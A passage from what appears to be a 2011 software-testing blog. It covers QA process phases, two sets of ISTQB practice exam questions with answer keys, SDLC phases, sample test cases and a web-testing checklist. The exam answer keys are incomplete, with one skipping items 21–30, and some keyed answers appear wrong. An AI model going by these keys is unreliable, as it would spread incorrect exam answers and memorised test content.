6. Creation of initial testing documents. First versions of test plans and automation plans are created based on the initial versions of software specification and automated testing requirements.
B. Main phase
During the main phase of QA process testing itself takes place, QA artifacts are being created, testing repositories are created, automated tests are developed and executed, found defects are detected and reported, fixes verified, QA documents are completed and maintained:
1. Creation and maintaining of testing documents. The full required set of QA documents, including low-level documents such as test cases, is created. All QA documents are updated correspondingly when requirements are modified. New test cases are created when defects are identified in order to make sure fixed defects do not appear in the software product during further development.
2. Manual testing according to testing documents. Continuous testing of software based on created QA documents guarantees that all features described in software requirements are present in the product, are operable and work as expected.
3. Manual ad hoc testing.Test cases and test plans cannot be created for all possible situations in applications. This is why ad hoc testing (also known as random testing) is also necessary in order to identify defects that cannot be found while performing testing using test plans and test cases.
4. Usability testing. Manual testing of software product to make sure the application has user friendly interface that meets common UI standards, application navigation is task oriented and allows execution of common tasks in minimal required user actions.
5. Documentation testing. All product support documentation such as help system, product information on WEB sites and system requirements are tested for consistence with actual software and product specifications.
6. Security analysis. Security analysis is performed against distributed applications (for instance WEB applications) in order to make sure the applications meet general security requirements. Application should be protected from unauthorized code execution, application data should be protected from unauthorized access, data should be available to authorized users.
7. Automated testing. Automated test scripts are implemented, maintained and executed against the application in order to identify defects that appear in previously operable features of software due to the latest code changes. Automation of such testing helps to save QA resources and to identify such issues at early stage. Integration of automated tests into application build process is common practice.
8. Performance testing. Automated testing of application performance is maid against distributed applications in production-like environments in order to make sure server-side part of application is capable of serving the required number of simultaneous user activities. Also performance testing allows identifying actual number of users the application can serve simultaneously to adjust software system requirements or production configuration.
9. Load/stress testing. Automated load and stress testing scripts are implemented and executed to make sure the application stays stable after continuous load with expected amount of simultaneous users and after short time stress load with more simultaneous users than expected.
10. Monitoring bugs and fixes.Bugs found by QA team, other teams involved in product development as well as customer bugs are monitored by QA team. Bugs that have insufficient information to reproduce them are reproduced by QA team, exact steps and conditions are populated to bug tracking system. Fixed defects are retested and related documents are updated correspondingly.
11. Reporting progress and statistics. At each stage of QA activities reports with the full list of current activities and progress of each activity are created and provided to customer. Detailed reports with currently open defects are provided on demand. Current product quality assessments are provided on demand as well.
C. Release phase
Release phase represents QA activities when software product is about to be deployed to production environment or a new version of software is about to be published for customers.
1. Assessment of testing coverage. Overview of QA activities that have been done, analysis of testing results, assessment of what percentage of the software product has been tested and what additional testing could be performed to guarantee better software quality.
2. Acceptance testing. The final step of testing performed by QA team and representatives of customer team in order to make sure the software product has the desired quality level and matches customer expectations.
3. Goal meeting validation. Project goals are compared to criteria to make sure the goal is met.
4. Review and approval of release notes. Release notes that usually include “What’s new”, “Known issues” and “Bug fixes” sections are made in collaboration with QA team and reviewed by QA team.
5. Transition of QA artifacts. All artifacts created by QA team during testing of the software product are gathered to a single package and delivered to the customer.

ISTQB Question Paper Dump 2

2011-10-10T04:07:00.001-07:00

1) When what is visible to end-users is a deviation from the specific or expected behavior, this is
called:
a) an error
b) a fault
c) a failure
d) a defect
e) a mistake

2) Regression testing should be performed:
v) every week
w) after the software has changed
x) as often as possible
y) when the environment has changed
z) when the project manager says
a) v & w are true, x – z are false
b) w, x & y are true, v & z are false
c) w & y are true, v, x & z are false
d) w is true, v, x y and z are false
e) all of the above are true

3) IEEE 829 test plan documentation standard contains all of the following except:
a) test items
b) test deliverables
c) test tasks
d) test environment
e) test specification

4) Testing should be stopped when:
a) all the planned tests have been run
b) time has run out
c) all faults have been fixed correctly
d) both a) and c)
e) it depends on the risks for the system being tested

5) Order numbers on a stock control system can range between 10000 and 99999 inclusive.
Which of the following inputs might be a result of designing tests for only valid equivalence
classes and valid boundaries:
a) 1000, 5000, 99999
b) 9999, 50000, 100000
c) 10000, 50000, 99999
d) 10000, 99999
e) 9999, 10000, 50000, 99999, 10000

6) Consider the following statements about early test design:
i. early test design can prevent fault multiplication
ii. faults found during early test design are more expensive to fix
iii. early test design can find faults
iv. early test design can cause changes to the requirements
v. early test design takes more effort
a) i, iii & iv are true. Ii & v are false
b) iii is true, I, ii, iv & v are false
c) iii & iv are true. i, ii & v are false
d) i, iii, iv & v are true, ii us false
e) i & iii are true, ii, iv & v are false

7) Non-functional system testing includes:
a) testing to see where the system does not function properly
b) testing quality attributes of the system including performance and usability
c) testing a system feature using only the software required for that action
d) testing a system feature using only the software required for that function
e) testing for functions that should not exist

8) Which of the following is NOT part of configuration management:
a) status accounting of configuration items
b) auditing conformance to ISO9001
c) identification of test versions
d) record of changes to documentation over time
e) controlled library access

9) Which of the following is the main purpose of the integration strategy for integration testing in
the small?
a) to ensure that all of the small modules are tested adequately
b) to ensure that the system interfaces to other systems and networks
c) to specify which modules to combine when and how many at once
d) to ensure that the integration testing can be performed by a small team
e) to specify how the software should be divided into modules

10) What is the purpose of test completion criteria in a test plan:
a) to know when a specific test has finished its execution
b) to ensure that the test case specification is complete
c) to set the criteria used in generating test inputs
d) to know when test planning is complete
e) to plan when to stop testing

11) Consider the following statements
i. an incident may be closed without being fixed
ii. incidents may not be raised against documentation
iii. the final stage of incident tracking is fixing
iv. the incident record does not include information on test environments
v. incidents should be raised when someone other than the author of the software performs the
test
a) ii and v are true, I, iii and iv are false
b) i and v are true, ii, iii and iv are false
c) i, iv and v are true, ii and iii are false
d) i and ii are true, iii, iv and v are false
e) i is true, ii, iii, iv and v are false

12) Given the following code, which is true about the minimum number of test cases required for
full statement and branch coverage:
Read P
Read Q
IF P+Q > 100 THEN
Print “Large”
ENDIF
If P > 50 THEN
Print “P Large”
ENDIF
a) 1 test for statement coverage, 3 for branch coverage
b) 1 test for statement coverage, 2 for branch coverage
c) 1 test for statement coverage, 1 for branch coverage
d) 2 tests for statement coverage, 3 for branch coverage
e) 2 tests for statement coverage, 2 for branch coverage

13) Given the following:
Switch PC on
Start “outlook”
IF outlook appears THEN
Send an email
Close outlook
a) 1 test for statement coverage, 1 for branch coverage
b) 1 test for statement coverage, 2 for branch coverage
c) 1 test for statement coverage. 3 for branch coverage
d) 2 tests for statement coverage, 2 for branch coverage
e) 2 tests for statement coverage, 3 for branch coverage

14) Given the following code, which is true:
IF A > B THEN
C = A – B
ELSE
C = A + B
ENDIF
Read D
IF C = D Then
Print “Error”
ENDIF
a) 1 test for statement coverage, 3 for branch coverage
b) 2 tests for statement coverage, 2 for branch coverage
c) 2 tests for statement coverage. 3 for branch coverage
d) 3 tests for statement coverage, 3 for branch coverage
e) 3 tests for statement coverage, 2 for branch coverage

15) Consider the following:
Pick up and read the newspaper
Look at what is on television
If there is a program that you are interested in watching then switch the the television on and
watch the program
Otherwise
Continue reading the newspaper
If there is a crossword in the newspaper then try and complete the crossword
a) SC = 1 and DC = 1
b) SC = 1 and DC = 2
c) SC = 1 and DC = 3
d) SC = 2 and DC = 2
e) SC = 2 and DC = 3

16) The place to start if you want a (new) test tool is:
a) Attend a tool exhibition
b) Invite a vendor to give a demo
c) Analyse your needs and requirements
d) Find out what your budget would be for the tool
e) Search the internet

17) When a new testing tool is purchased, it should be used first by:
a) A small team to establish the best way to use the tool
b) Everyone who may eventually have some use for the tool
c) The independent testing team
d) The managers to see what projects it should be used in
e) The vendor contractor to write the initial scripts

18) What can static analysis NOT find?
a) The use of a variable before it has been defined
b) Unreachable (“dead”) code
c) Whether the value stored in a variable is correct
d) The re-definition of a variable before it has been used
e) Array bound violations

19) Which of the following is NOT a black box technique:
a) Equivalence partitioning
b) State transition testing
c) LCSAJ
d) Syntax testing
e) Boundary value analysis

20) Beta testing is:
a) Performed by customers at their own site
b) Performed by customers at their software developer’s site
c) Performed by an independent test team
d) Useful to test bespoke software
e) Performed as early as possible in the lifecycle

21) Given the following types of tool, which tools would typically be used by developers and
which by an independent test team:
i. static analysis
ii. performance testing
iii. test management
iv. dynamic analysis
v. test running
vi. test data preparation
a) developers would typically use i, iv and vi; test team ii, iii and v
b) developers would typically use i and iv; test team ii, iii, v and vi
c) developers would typically use i, ii, iii and iv; test team v and vi
d) developers would typically use ii, iv and vi; test team I, ii and v
e) developers would typically use i, iii, iv and v; test team ii and vi

22) The main focus of acceptance testing is:
a) finding faults in the system
b) ensuring that the system is acceptable to all users
c) testing the system with other systems
d) testing for a business perspective
e) testing by an independent test team

23) Which of the following statements about the component testing standard is false:
a) black box design techniques all have an associated measurement technique
b) white box design techniques all have an associated measurement technique
c) cyclomatic complexity is not a test measurement technique
d) black box measurement techniques all have an associated test design technique
e) white box measurement techniques all have an associated test design technique

24) Which of the following statements is NOT true:
a) inspection is the most formal review process
b) inspections should be led by a trained leader
c) managers can perform inspections on management documents
d) inspection is appropriate even when there are no written documents
e) inspection compares documents with predecessor (source) documents

25) A typical commercial test execution tool would be able to perform all of the following
EXCEPT:
a) generating expected outputs
b) replaying inputs according to a programmed script
c) comparison of expected outcomes with actual outcomes
d) recording test inputs
e) reading test values from a data file

26) The difference between re-testing and regression testing is
a) re-testing is running a test again; regression testing looks for unexpected side effects
b) re-testing looks for unexpected side effects; regression testing is repeating those tests
c) re-testing is done after faults are fixed; regression testing is done earlier
d) re-testing uses different environments, regression testing uses the same environment
e) re-testing is done by developers, regression testing is done by independent testers

27) Expected results are:
a) only important in system testing
b) only used in component testing
c) never specified in advance
d) most useful when specified in advance
e) derived from the code

28) Test managers should not:
a) report on deviations from the project plan
b) sign the system off for release
c) re-allocate resource to meet original plans
d) raise incidents on faults that they have found
e) provide information for risk analysis and quality improvement

29) Unreachable code would best be found using:
a) code reviews
b) code inspections
c) a coverage tool
d) a test management tool
e) a static analysis tool

30) A tool that supports traceability, recording of incidents or scheduling of tests is called:
a) a dynamic analysis tool
b) a test execution tool
c) a debugging tool
d) a test management tool
e) a configuration management tool

31) What information need not be included in a test incident report:
a) how to fix the fault
b) how to reproduce the fault
c) test environment details
d) severity, priority
e) the actual and expected outcomes

32) Which expression best matches the following characteristics or review processes:
1. led by author
2. undocumented
3. no management participation
4. led by a trained moderator or leader
5. uses entry exit criteria
s) inspection
t) peer review
u) informal review
v) walkthrough
a) s = 4, t = 3, u = 2 and 5, v = 1
b) s = 4 and 5, t = 3, u = 2, v = 1
c) s = 1 and 5, t = 3, u = 2, v = 4
d) s = 5, t = 4, u = 3, v = 1 and 2
e) s = 4 and 5, t = 1, u = 2, v = 3

33) Which of the following is NOT part of system testing:
a) business process-based testing
b) performance, load and stress testing
c) requirements-based testing
d) usability testing
e) top-down integration testing

34) What statement about expected outcomes is FALSE:
a) expected outcomes are defined by the software’s behaviour
b) expected outcomes are derived from a specification, not from the code
c) expected outcomes include outputs to a screen and changes to files and databases
d) expected outcomes should be predicted before a test is run
e) expected outcomes may include timing constraints such as response times

35) The standard that gives definitions of testing terms is:
a) ISO/IEC 12207
b) BS7925-1
c) BS7925-2
d) ANSI/IEEE 829
e) ANSI/IEEE 729

36) The cost of fixing a fault:
a) Is not important
b) Increases as we move the product towards live use
c) Decreases as we move the product towards live use
d) Is more expensive if found in requirements than functional design
e) Can never be determined

37) Which of the following is NOT included in the Test Plan document of the Test Documentation
Standard:
a) Test items (i.e. software versions)
b) What is not to be tested
c) Test environments
d) Quality plans
e) Schedules and deadlines

38) Could reviews or inspections be considered part of testing:
a) No, because they apply to development documentation
b) No, because they are normally applied before testing
c) No, because they do not apply to the test documentation
d) Yes, because both help detect faults and improve quality
e) Yes, because testing includes all non-constructive activities

39) Which of the following is not part of performance testing:
a) Measuring response time
b) Measuring transaction rates
c) Recovery testing
d) Simulating many users
e) Generating many transactions

40) Error guessing is best used
a) As the first approach to deriving test cases
b) After more formal techniques have been applied
c) By inexperienced testers
d) After the system has gone live
e) Only by end users

Answer
1 » C
2 » C
3 » E
4 » E
5 » C
6 » A
7 » B
8 » B
9 » C
10 » E
11 » B
12 » B
13 » B
14 » B
15 » E
16 » C
17 » B
18 » C
19 » C
20 » A
21 » B
22 » D
23 » A
24 » D
25 » A
26 » A
27 » D
28 » C
29 » A
30 » E
31 » E
32 » B
33 » E
34 » A
35 » B
36 » B
37 » D
38 » D
39 » C
40 » B

ISTQB Question Paper Dump 1

2011-10-10T04:03:00.000-07:00

ISTQB Sample Question Paper Dump 3

1) We split testing into distinct stages primarily because:
a) Each test stage has a different purpose.
b) It is easier to manage testing in stages.
c) We can run different tests in different environments.
d) The more stages we have, the better the testing.

2) Which of the following is likely to benefit most from the use of test tools providing test capture and
replay facilities?
a) Regression testing
b) Integration testing
c) System testing
d) User acceptance testing

3) Which of the following statements is NOT correct?
a) A minimal test set that achieves 100% LCSAJ coverage will also achieve 100% branch coverage.
b) A minimal test set that achieves 100% path coverage will also achieve 100% statement coverage.
c) A minimal test set that achieves 100% path coverage will generally detect more faults than one that
achieves 100% statement coverage.
d) A minimal test set that achieves 100% statement coverage will generally detect more faults than one
that achieves 100% branch coverage.

4) Which of the following requirements is testable?
a) The system shall be user friendly.
b) The safety-critical parts of the system shall contain 0 faults.
c) The response time shall be less than one second for the specified design load.
d) The system shall be built to be portable.

5) Analyse the following highly simplified procedure:
Ask: “What type of ticket do you require, single or return?”
IF the customer wants ‘return’
Ask: “What rate, Standard or Cheap-day?”
IF the customer replies ‘Cheap-day’
Say: “That will be £11:20”
ELSE
Say: “That will be £19:50”
ENDIF
ELSE
Say: “That will be £9:75”
ENDIF
Now decide the minimum number of tests that are needed to ensure that all
the questions have been asked, all combinations have occurred and all
replies given.
a) 3
b) 4
c) 5
d) 6

6) Error guessing:
a) supplements formal test design techniques.
b) can only be used in component, integration and system testing.
c) is only performed in user acceptance testing.
d) is not repeatable and should not be used.

7) Which of the following is NOT true of test coverage criteria?
a) Test coverage criteria can be measured in terms of items exercised by a test suite.
b) A measure of test coverage criteria is the percentage of user requirements covered.
c) A measure of test coverage criteria is the percentage of faults found.
d) Test coverage criteria are often used when specifying test completion criteria.

8) In prioritising what to test, the most important objective is to:
a) find as many faults as possible.
b) test high risk areas.
c) obtain good test coverage.
d) test whatever is easiest to test.

9) Given the following sets of test management terms (v-z), and activity descriptions (1-5), which one of
the following best pairs the two sets?
v – test control
w – test monitoring
x - test estimation
y - incident management
z - configuration control
1 - calculation of required test resources
2 - maintenance of record of test results
3 - re-allocation of resources when tests overrun
4 - report on deviation from test plan
5 - tracking of anomalous test results
a) v-3,w-2,x-1,y-5,z-4
b) v-2,w-5,x-1,y-4,z-3
c) v-3,w-4,x-1,y-5,z-2
d) v-2,w-1,x-4,y-3,z-5

10) Which one of the following statements about system testing is NOT true?
a) System tests are often performed by independent teams.
b) Functional testing is used more than structural testing.
c) Faults found during system tests can be very expensive to fix.
d) End-users should be involved in system tests.

11) Which of the following is false?
a) Incidents should always be fixed.
b) An incident occurs when expected and actual results differ.
c) Incidents can be analysed to assist in test process improvement.
d) An incident can be raised against documentation.

12) Enough testing has been performed when:
a) time runs out.
b) the required level of confidence has been achieved.
c) no more faults are found.
d) the users won’t find any serious faults.

13) Which of the following is NOT true of incidents?
a) Incident resolution is the responsibility of the author of the software under test.
b) Incidents may be raised against user requirements.
c) Incidents require investigation and/or correction.
d) Incidents are raised when expected and actual results differ.

14) Which of the following is not described in a unit test standard?
a) syntax testing
b) equivalence partitioning
c) stress testing
d) modified condition/decision coverage

15) Which of the following is false?
a) In a system two different failures may have different severities.
b) A system is necessarily more reliable after debugging for the removal of a fault.
c) A fault need not affect the reliability of a system.
d) Undetected errors may lead to faults and eventually to incorrect behaviour.

16) Which one of the following statements, about capture-replay tools, is NOT correct?
a) They are used to support multi-user testing.
b) They are used to capture and animate user requirements.
c) They are the most frequently purchased types of CAST tool.
d) They capture aspects of user behaviour.

17) How would you estimate the amount of re-testing likely to be required?
a) Metrics from previous similar projects
b) Discussions with the development team
c) Time allocated for regression testing
d) a & b

18) Which of the following is true of the V-model?
a) It states that modules are tested against user requirements.
b) It only models the testing phase.
c) It specifies the test techniques to be used.
d) It includes the verification of designs.

19) The oracle assumption:
a) is that there is some existing system against which test output may be checked.
b) is that the tester can routinely identify the correct outcome of a test.
c) is that the tester knows everything about the software under test.
d) is that the tests are reviewed by experienced testers.

20) Which of the following characterises the cost of faults?
a) They are cheapest to find in the early development phases and the most expensive to fix in the latest
test phases.
b) They are easiest to find during system testing but the most expensive to fix then.
c) Faults are cheapest to find in the early development phases but the most expensive to fix then.
d) Although faults are most expensive to find during early development phases, they are cheapest to fix
then.

21) Which of the following should NOT normally be an objective for a test?
a) To find faults in the software.
b) To assess whether the software is ready for release.
c) To demonstrate that the software doesn’t work.
d) To prove that the software is correct.

22) Which of the following is a form of functional testing?
a) Boundary value analysis
b) Usability testing
c) Performance testing
d) Security testing

23) Which of the following would NOT normally form part of a test plan?
a) Features to be tested
b) Incident reports
c) Risks
d) Schedule

24) Which of these activities provides the biggest potential cost saving from the use of CAST?
a) Test management
b) Test design
c) Test execution
d) Test planning

25) Which of the following is NOT a white box technique?
a) Statement testing
b) Path testing
c) Data flow testing
d) State transition testing

26) Data flow analysis studies:
a) possible communications bottlenecks in a program.
b) the rate of change of data values as a program executes.
c) the use of data on paths through the code.
d) the intrinsic complexity of the code.

27) In a system designed to work out the tax to be paid:
An employee has £4000 of salary tax free. The next £1500 is taxed at 10%
The next £28000 is taxed at 22%
Any further amount is taxed at 40%
To the nearest whole pound, which of these is a valid Boundary Value Analysis test case?
a) £1500
b) £32001
c) £33501
d) £28000

28) An important benefit of code inspections is that they:
a) enable the code to be tested before the execution environment is ready.
b) can be performed by the person who wrote the code.
c) can be performed by inexperienced staff.
d) are cheap to perform.

29) Which of the following is the best source of Expected Outcomes for User Acceptance Test scripts?
a) Actual results
b) Program specification
c) User requirements
d) System specification

30) What is the main difference between a walkthrough and an inspection?
a) An inspection is lead by the author, whilst a walkthrough is lead by a trained moderator.
b) An inspection has a trained leader, whilst a walkthrough has no leader.
c) Authors are not present during inspections, whilst they are during walkthroughs.
d) A walkthrough is lead by the author, whilst an inspection is lead by a trained moderator.

31) Which one of the following describes the major benefit of verification early in the life cycle?
a) It allows the identification of changes in user requirements.
b) It facilitates timely set up of the test environment.
c) It reduces defect multiplication.
d) It allows testers to become involved early in the project.

32) Integration testing in the small:
a) tests the individual components that have been developed.
b) tests interactions between modules or subsystems.
c) only uses components that form part of the live system.
d) tests interfaces to other systems.

33) Static analysis is best described as:
a) the analysis of batch programs.
b) the reviewing of test plans.
c) the analysis of program code.
d) the use of black box testing.

34) Alpha testing is:
a) post-release testing by end user representatives at the developer’s site.
b) the first testing that is performed.
c) pre-release testing by end user representatives at the developer’s site.
d) pre-release testing by end user representatives at their sites.

35) A failure is:
a) found in the software; the result of an error.
b) departure from specified behaviour.
c) an incorrect step, process or data definition in a computer program.
d) a human action that produces an incorrect result.

36) In a system designed to work out the tax to be paid:
An employee has £4000 of salary tax free. The next £1500 is taxed at 10%
The next £28000 is taxed at 22%
Any further amount is taxed at 40%
Which of these groups of numbers would fall into the same equivalence class?
a) £4800; £14000; £28000
b) £5200; £5500; £28000
c) £28001; £32000; £35000
d) £5800; £28000; £32000

37) The most important thing about early test design is that it:
a) makes test preparation easier.
b) means inspections are not required.
c) can prevent fault multiplication.
d) will find all faults.

38) Which of the following statements about reviews is true?
a) Reviews cannot be performed on user requirements specifications.
b) Reviews are the least effective way of testing code.
c) Reviews are unlikely to find faults in test plans.
d) Reviews should be performed on specifications, code, and test plans.

39) Test cases are designed during:
a) test recording.
b) test planning.
c) test configuration.
d) test specification.

40) A configuration management system would NOT normally provide:
a) linkage of customer requirements to version numbers.
b) facilities to compare test results with expected results.
c) the precise differences in versions of software component source code.
d) restricted access to the source code library.

Answers
1 » A
2 » A
3 » D
4 » C
5 » A
6 » A
7 » C
8 » B
9 » C
10» D
11 » A
12 » B
13 » A
14 » C
15 » B
16 » B
17 » D
18 » D
19 » B
20 » A
31 » C
32 » B
33 » C
34 » C
35 » B
36 » D
37 » C
38 » D
39 » D
40 » B

Difference between Normal Testing and UAT Testing

2011-09-14T05:13:00.001-07:00

System testing:

It is based on SRS(Software Requirement Specification)

It is 100% black box testing.

It is done by testers in the organization.

Defects can be corrected here.

All possible dummy inputs are checked.

UAT:

It is based on the business scenario.

It is done by the clients.

If defects are found they are said as failure product.

Random inputs are checked.

Software Developement Life Cycle

2011-09-09T05:47:00.000-07:00

Software products, which don’t happen to be user friendly just, don’t find any place in a highly competitive market of this modern era, although they might have been developed with the help of the best available technology. The ease of use of the product is of paramount importance compared to its internal technology, which the customer is not going to see.

Thus for the creation of Innovative Software products, the Development Life Cycle undergoes six phases like:

1) Initial Phase
2) Analysis Phase
3) Design phase
4) Coding Phase
5) Testing Phase
6) Delivery and Maintenance phase

Phase – 1: Initial Phase: Involves Interaction with the customer and capturing all the requirements.

Personnel Involved: 1) Business Annalist – BA & 2) Engagement Manager - EM

Process Involved: This phase begins with a technical meeting between the Business Analyst & the customer. The Business Analyst (BM) understands all the requirements from the customer & prepares comprehensive requirements document with the help of standard templates & check sheets used by the company. The requirements document forms the basis for further study & action by the Engagement Manager (EM).

The Engagement Manager tries to hunt for extra requirements if any, which might not be apparent immediately but might involve extra cost. To resolve ambiguous requirements if any, the Engagement Manager organizes demonstration of a prototype if necessary. Such action of quick demonstration of a prototype, which is nothing but a rapidly developed model for the customer is found extremely helpful to remove ambiguities from the requirements on one hand & help winning the confidence of the customer on the other.

Ultimate objective of this phase is to prepare a most comprehensive customer requirements document. Many companies call it with different names like:

# BRS: Business Requirement Specification.
# FRS: Functional Requirement Specification.
# URS: User Requirement Specification.
# CRS: Client / Customer Requirement Specification.
# BDD: Business Design Document.
# BD : Business Document.

Depending upon the system followed by various companies, sometimes a single document is maintained, while some companies may go in for two documents. In this case, Broad / outlining information is recorded in the BRS (Business Requirement Specification), while detailed information is recorded in FRS (Functional Requirement Specification).

Phase – 2: Analysis Phase: Involves Feasibility Study, Broad Planning, Technology selection, Requirement analysis etc.

Personnel Involved: 1) System Annalist – SA, 2) Project Manager – PM & 3) Team Manager -TM

Process Involved: To understand the nature of the program to be developed, the System Annalist focuses on understanding the information domain of the software, its necessary functions, behaviors, performance and necessary interfaces etc. The major objective of the analysis phase is to find out the need and to define the problem, which needs to be solved.

The process covers four distinct analytical operations like:

1) Feasibility Study: Involves detailed study of all the requirements to ascertain as to whether it is possible to meet all the requirements or not. There may be a need for the development team to visit the customer place for study of their system. They development team may investigate the need for possible software automation within the boundaries of the given system.

2) Broad Planning: Involves an outline document on planning of all resource and time wise planning.

3) Technology Selection: Involves identification, analysis & compilation of various tools & technologies, which would be needed to accomplish the project successfully.

4) Requirement analysis: Involves identification & compilation of various requirements of human resources, hardware & software, which would be needed to accomplish the project successfully.

Ultimate objective of this phase is to prepare a most comprehensive document called SRC or Software Requirement Specification.

Phase – 3: Design Phase: Involves hard core design activities like 1) HLD - High Level Designing & 2) LLD - Low Level Designing

Personnel Involved: 1) Chief Architect – CA is responsible for High Level Designing, 2) Technical Lead – TL is responsible for Low Level Designing

Process Involved: The Chief Architect – CA, starts The entire designing process. This involves subdivision of the entire project into various modules & the process is adequately explained with the help of flow charts & diagrams. Thereafter, the Technical Lead – TL further subdivides these main Modules into sub modules with the help of Unified Modeling Language - UML. The technical lead is responsible for creating the Pseudo Code which is a comprehensive set of instructions written in English language & are meant for guiding the actual code developers.

Ultimate objective of this phase is to prepare a Technical Design Document - TDD.

Phase – 4: Coding Phase: Involves actual Programming or Coding.

Personnel Involved: Code Developers or Programmers

Process Involved: The design needs to be translated into a machine-readable form. There comes the process of code generation. With the help of Pseudo Code written by the Technical Lead – TL during the Design Phase, Developers carry out the development of the actual source code. The entire coding process is bound by stipulated coding standards defined by the company.

Ultimate objective of this phase is to prepare a Source Code Document - SCD.

Phase – 5: Testing Phase: Involves rigorous testing of the application developed by the programmers.

Personnel Involved: Testing Engineers.

Process Involved: Different testing methodologies are practiced to detect the software bugs, which happen to take birth during the previous phases. Various testing tools and methodologies are available these days. Some companies create their own testing tools, which are custom made to suit their own development functions.

# In fact the testing process begins right from the customer requirement document. A good test engineer starts his work by thorough study of the requirement document. In case of any doubt arising during understanding of customer requirements, the test engineer raises a Review Report –RR, which contains details of all the doubts.

# Having clarified all the doubts & ambiguities, and after having a thorough understanding of the requirements, the test engineer shall write the test cases with the help of company specific test case templates.

# Execution of the test cases upon the release of the first build by the developers. This follows recording of defects in a defect profile document.

# The defect profile document is transferred to the developers for improvements / eradication of defects found by them. The testing process halts here till next build with improvements is released by the developers.

# The entire testing process involving execution of test cases is repeated on the new build. This process of code improvement, subsequent testing on new builds & finding of defects continues again and again till the product is free from defects.

# The testing process is decided to be stopped after gaining reasonable confidence of product being defect free

Ultimate objective of this phase is to produce a Quality Product.

Phase – 6: Delivery and Maintenance phase: Involves Installing the newly developed application under the client environment.

Personnel Involved: Senior Testing Engineers who are entrusted the task of Deployment Engineers.

Process Involved:
# Delivery: After the code is appropriately tested, it is approved for release, it is deployed into a production environment. The deployment of application is done with the help of guidelines provided in the application deployment document.

# Maintenance: After the deployment of the application, client may encounter many task-based problems.

Maintaining and enhancing the software to cope up with newly discovered problems or new requirements can take far more time than the initial development of the software. It may be necessary to add some code, which does not fit the original design to correct an unforeseen problem. It may be that the customer is requesting more functionality, and some code can be added to take care of his requests.

Test Cases Samples

2011-09-07T08:47:00.000-07:00

Write test cases for copy & paste in MS Word

1. Verify that the text which is selected for copy, that area should get highlighted.
2. Verify that on the selected text if right click is done then copy option should be enabled and paste option should be disabled.
3. Verify that once the selected area is copied then in the right click paste option should get enabled
4. Verify if the text is not selected then cut and copy should be disabled in the right click option.
5. Verify that the using the short cut keys like CTRL+C, CTRL+V the text are getting pastes.
6. Verify that using Edit menu option the user is able to copy and paste the text.
7. Verify that if some text area is selected and right click paste is done then copied text should get overwrite on the selected text.
8. Verify that the copy should copy the content with own format.
9. Verify that Paste function should paste the content n times.

Test Cases for White Board

1. Verify the Length & Width of the Board
2. Verify the Surface of the Board
3. Check whether you can able to write on the board
4. Check written words are visible
5. Try to erase the words written & write a new words

Test Cases for Save As Button in MS Office:

* Give ctrl + S save as dialogue box should be appear.
* Goto File->Save AS, save as Dialogue box should be appear.
* To give File name, File name Field should be availabld.
* To choose the document type Save as type combo box should be available.
* To navigate to the desired path to save the file.. navigational buttons should be available.
* To change the view of the folder icons, Change view button should be display.
* On clicking save button, the File should be saved in the given path.
* On Clicking cancel button or Close(x) button or Press Esc Key, the save as dialogue box should be closed and the cursor should blink in the document.

Test Cases for Note Pad as "Save"
Click File-Save (should open a window and should ask you the file name and path as well)

Check for .extension like it should be .txt only

Check for short-key like (Ctrl+S) and ask for same option as above (should open an window and should ask you the file name and path as well)

Save as (should open the same window with same file name path)

If you change that file name and path in that window then it should accept.

If you dont give any name in it then data should not be saved.

Should accept all alph-numeric, space and special characters.

Performance:
Add huge amount of data the file and test the time taken for saving the file.

Load:

Keep on adding huge and save every time you add data, and test how much data a notepad can save..

Stress:

If you add enormous amount of data (say 100 MB data), notepad fails to save the data.

Add huge data till notepad fails to save the data and test at what point notepad fails to save the data.

Web testing checklist

2011-07-07T02:33:00.000-07:00

Let’s have first web testing checklist.
1) Functionality Testing
2) Usability testing
3) Interface testing
4) Compatibility testing
5) Performance testing
6) Security testing

1) Functionality Testing:

Test for – all the links in web pages, database connection, forms used in the web pages for submitting or getting information from user, Cookie testing.

Check all the links:

* Test the outgoing links from all the pages from specific domain under test.
* Test all internal links.
* Test links jumping on the same pages.
* Test links used to send the email to admin or other users from web pages.
* Test to check if there are any orphan pages.
* Lastly in link checking, check for broken links in all above-mentioned links.

Test forms in all pages:
Forms are the integral part of any web site. Forms are used to get information from users and to keep interaction with them. So what should be checked on these forms?

* First check all the validations on each field.
* Check for the default values of fields.
* Wrong inputs to the fields in the forms.
* Options to create forms if any, form delete, view or modify the forms.

Let’s take example of the search engine project currently I am working on, In this project we have advertiser and affiliate signup steps. Each sign up step is different but dependent on other steps. So sign up flow should get executed correctly. There are different field validations like email Ids, User financial info validations. All these validations should get checked in manual or automated web testing.

Cookies testing:
Cookies are small files stored on user machine. These are basically used to maintain the session mainly login sessions. Test the application by enabling or disabling the cookies in your browser options. Test if the cookies are encrypted before writing to user machine. If you are testing the session cookies (i.e. cookies expire after the sessions ends) check for login sessions and user stats after session end. Check effect on application security by deleting the cookies. (I will soon write separate article on cookie testing)

Validate your HTML/CSS:
If you are optimizing your site for Search engines then HTML/CSS validation is very important. Mainly validate the site for HTML syntax errors. Check if site is crawlable to different search engines.

Database testing:
Data consistency is very important in web application. Check for data integrity and errors while you edit, delete, modify the forms or do any DB related functionality.
Check if all the database queries are executing correctly, data is retrieved correctly and also updated correctly. More on database testing could be load on DB, we will address this in web load or performance testing below.

2) Usability Testing:

Test for navigation:
Navigation means how the user surfs the web pages, different controls like buttons, boxes or how user using the links on the pages to surf different pages.
Usability testing includes:
Web site should be easy to use. Instructions should be provided clearly. Check if the provided instructions are correct means whether they satisfy purpose.
Main menu should be provided on each page. It should be consistent.

Content checking:
Content should be logical and easy to understand. Check for spelling errors. Use of dark colors annoys users and should not be used in site theme. You can follow some standards that are used for web page and content building. These are common accepted standards like as I mentioned above about annoying colors, fonts, frames etc.
Content should be meaningful. All the anchor text links should be working properly. Images should be placed properly with proper sizes.
These are some basic standards that should be followed in web development. Your task is to validate all for UI testing

Other user information for user help:
Like search option, sitemap, help files etc. Sitemap should be present with all the links in web sites with proper tree view of navigation. Check for all links on the sitemap.
“Search in the site” option will help users to find content pages they are looking for easily and quickly. These are all optional items and if present should be validated.

3) Interface Testing:
The main interfaces are:
Web server and application server interface
Application server and Database server interface.

Check if all the interactions between these servers are executed properly. Errors are handled properly. If database or web server returns any error message for any query by application server then application server should catch and display these error messages appropriately to users. Check what happens if user interrupts any transaction in-between? Check what happens if connection to web server is reset in between?

4) Compatibility Testing:
Compatibility of your web site is very important testing aspect. See which compatibility test to be executed:

* Browser compatibility
* Operating system compatibility
* Mobile browsing
* Printing options

Browser compatibility:
In my web-testing career I have experienced this as most influencing part on web site testing.
